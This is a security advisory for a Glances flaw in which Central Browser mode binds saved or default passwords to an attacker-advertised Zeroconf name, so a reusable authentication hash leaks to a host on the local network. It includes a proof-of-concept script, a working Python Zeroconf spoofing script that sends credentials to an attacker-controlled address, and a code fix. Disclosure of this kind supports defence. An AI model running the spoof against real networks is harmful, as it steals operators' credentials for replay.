PT-2026-25821 · Pypi · Glance

Published

2026-03-16

·

Updated

2026-03-16

·

CVE-2026-32634

CVSS v3.1
8.1
VectorAV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

In Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global
[passwords] default
credential.
An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode.

Details

Dynamic server discovery keeps both a short
name
and a separate
ip
:
# glances/servers list dynamic.py:56-61
def add server(self, name, ip, port, protocol='rpc'):
  new server = {
    'key': name,
    'name': name.split(':')[0], # Short name
    'ip': ip, # IP address seen by the client
    'port': port,
    ...
    'type': 'DYNAMIC',
  }
The Zeroconf listener populates those fields directly from the service advertisement:
# glances/servers list dynamic.py:112-121
new server ip = socket.inet ntoa(address)
new server port = info.port
...
self.servers.add server(
  srv name,
  new server ip,
  new server port,
  protocol=new server protocol,
)
However, the Central Browser connection logic ignores
server['ip']
and instead uses the untrusted advertised
server['name']
for both password lookup and the destination URI:
# glances/servers list.py:119-130
def get uri(self, server):
  if server['password'] != "":
    if server['status'] == 'PROTECTED':
      clear password = self.password.get password(server['name'])
      if clear password is not None:
        server['password'] = self.password.get hash(clear password)
    uri = 'http://{}:{}@{}:{}'.format(
      server['username'],
      server['password'],
      server['name'],
      server['port'],
    )
  else:
    uri = 'http://{}:{}'.format(server['name'], server['port'])
  return uri
That URI is used automatically by the background polling thread:
# glances/servers list.py:141-143
def  update stats(self, server):
  server['uri'] = self.get uri(server)
The password lookup itself falls back to the global default password when there is no exact match:
# glances/password list.py:45-58
def get password(self, host=None):
  ...
  try:
    return self. password dict[host]
  except (KeyError, TypeError):
    try:
      return self. password dict['default']
    except (KeyError, TypeError):
      return None
The sample configuration explicitly supports that
default
credential reuse:
# conf/glances.conf:656-663
[passwords]
# Define the passwords list related to the [serverlist] section
# ...
#default=defaultpassword
The secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication:
# glances/password.py:72-74,94
# For Glances client, get the password (confirm=False, clear=True):
#   2) the password is hashed with SHA-pbkdf2 hmac (only SHA string transit
password = password hash
# glances/client.py:55-57
if args.password != "":
  self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'
There is an inconsistent trust boundary in the interactive browser code as well:
  • glances/client browser.py:44
    opens the REST/WebUI target via
    webbrowser.open(self.servers list.get uri(server))
    , which again trusts
    server['name']
  • glances/client browser.py:55
    fetches saved passwords with
    self.servers list.password.get password(server['name'])
  • glances/client browser.py:76
    uses
    server['ip']
    for the RPC client connection
That asymmetry shows the intended safe destination (
ip
) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name.

Exploit Flow

  1. The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in
    [passwords]
    (especially
    default=...
    ).
  2. An attacker on the same multicast domain advertises a fake
     glances. tcp.local.
    service with an attacker-controlled service name.
  3. Glances stores the discovered server as
    {'name': <advertised-name>, 'ip': <discovered-ip>, ...}
    .
  4. The background stats refresh calls
    get uri(server)
    .
  5. Once the fake server causes the entry to become
    PROTECTED
    ,
    get uri()
    looks up a saved password by the attacker-controlled
    name
    , falls back to
    default
    if present, hashes it, and builds
    http://username:hash@<advertised-name>:<port>
    .
  6. The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.

PoC

Step 1: Verified local logic proof

The following command executes the real
glances/servers list.py
get uri()
implementation (with unrelated imports stubbed out) and demonstrates that:
  • password lookup happens against
    server['name']
    , not
    server['ip']
  • the generated credential-bearing URI uses
    server['name']
    , not
    server['ip']
cd D:bugcrowdglancesrepo
@'
import importlib.util
import sys
import types
from pathlib import Path

pkg = types.ModuleType('glances')
pkg. apiversion  = '4'
sys.modules['glances'] = pkg

client mod = types.ModuleType('glances.client')
class GlancesClientTransport: pass
client mod.GlancesClientTransport = GlancesClientTransport
sys.modules['glances.client'] = client mod

globals mod = types.ModuleType('glances.globals')
globals mod.json loads = lambda x: x
sys.modules['glances.globals'] = globals mod

logger mod = types.ModuleType('glances.logger')
logger mod.logger = types.SimpleNamespace(
  debug=lambda *a, **k: None,
  warning=lambda *a, **k: None,
  info=lambda *a, **k: None,
  error=lambda *a, **k: None,
)
sys.modules['glances.logger'] = logger mod

password list mod = types.ModuleType('glances.password list')
class GlancesPasswordList: pass
password list mod.GlancesPasswordList = GlancesPasswordList
sys.modules['glances.password list'] = password list mod

dynamic mod = types.ModuleType('glances.servers list dynamic')
class GlancesAutoDiscoverServer: pass
dynamic mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer
sys.modules['glances.servers list dynamic'] = dynamic mod

static mod = types.ModuleType('glances.servers list static')
class GlancesStaticServer: pass
static mod.GlancesStaticServer = GlancesStaticServer
sys.modules['glances.servers list static'] = static mod

spec = importlib.util.spec from file location('tested servers list', Path('glances/servers list.py'))
mod = importlib.util.module from spec(spec)
spec.loader.exec module(mod)
GlancesServersList = mod.GlancesServersList

class FakePassword:
  def get password(self, host=None):
    print(f'lookup:{host}')
    return 'defaultpassword'
  def get hash(self, password):
    return f'hash({password})'

sl = GlancesServersList. new (GlancesServersList)
sl.password = FakePassword()
server = {
  'name': 'trusted-host',
  'ip': '203.0.113.77',
  'port': 61209,
  'username': 'glances',
  'password': None,
  'status': 'PROTECTED',
  'type': 'DYNAMIC',
}

print(sl.get uri(server))
print(server)
'@ | python -
Verified output:
lookup:trusted-host
http://glances:hash(defaultpassword)@trusted-host:61209
{'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': 'hash(defaultpassword)', 'status': 'PROTECTED', 'type': 'DYNAMIC'}
This confirms the code path binds credentials to the advertised
name
and ignores the discovered
ip
.

Step 2: Live network reproduction

  1. Configure a reusable browser password:
# glances.conf
[passwords]
default=SuperSecretBrowserPassword
  1. Start Glances in Central Browser mode on the victim machine:
glances --browser -C ./glances.conf
  1. On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes
    PROTECTED
    :
from zeroconf import ServiceInfo, Zeroconf
import socket
import time

zc = Zeroconf()
info = ServiceInfo(
  " glances. tcp.local.",
  "198.51.100.50:61209. glances. tcp.local.",
  addresses=[socket.inet aton("198.51.100.50")],
  port=61209,
  properties={b"protocol": b"rpc"},
  server="ignored.local.",
)
zc.register service(info)
time.sleep(600)
  1. On the next Central Browser refresh, Glances first probes the fake server, marks it
    PROTECTED
    , then retries with:
http://glances:<pbkdf2 hash of default password>@198.51.100.50:61209
  1. The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.

Impact

  • Credential exfiltration from browser operators: An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords.
  • Authentication replay: The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential.
  • REST/WebUI click-through abuse: For REST servers,
    webbrowser.open(self.servers list.get uri(server))
    can open attacker-controlled URLs with embedded credentials.
  • No user click required for background theft: The stats refresh thread uses the vulnerable path automatically once the fake service is marked
    PROTECTED
    .
  • Affected scope: This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.

Recommended Fix

Use the discovered
ip
as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.
# glances/servers list.py

def get connect host(self, server):
  if server.get('type') == 'DYNAMIC':
    return server['ip']
  return server['name']

def get preconfigured password(self, server):
  # Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds
  if server.get('type') == 'DYNAMIC':
    return None
  return self.password.get password(server['name'])

def get uri(self, server):
  host = self. get connect host(server)
  if server['password'] != "":
    if server['status'] == 'PROTECTED':
      clear password = self. get preconfigured password(server)
      if clear password is not None:
        server['password'] = self.password.get hash(clear password)
    return 'http://{}:{}@{}:{}'.format(server['username'], server['password'], host, server['port'])
  return 'http://{}:{}'.format(host, server['port'])
And use the same
 get preconfigured password()
logic in
glances/client browser.py
instead of calling
self.servers list.password.get password(server['name'])
directly.

Fix

Insufficiently Protected Credentials

Origin Validation Error

Weakness Enumeration

Related Identifiers

CVE-2026-32634
GHSA-VX5F-957P-QPVM

Affected Products

Glance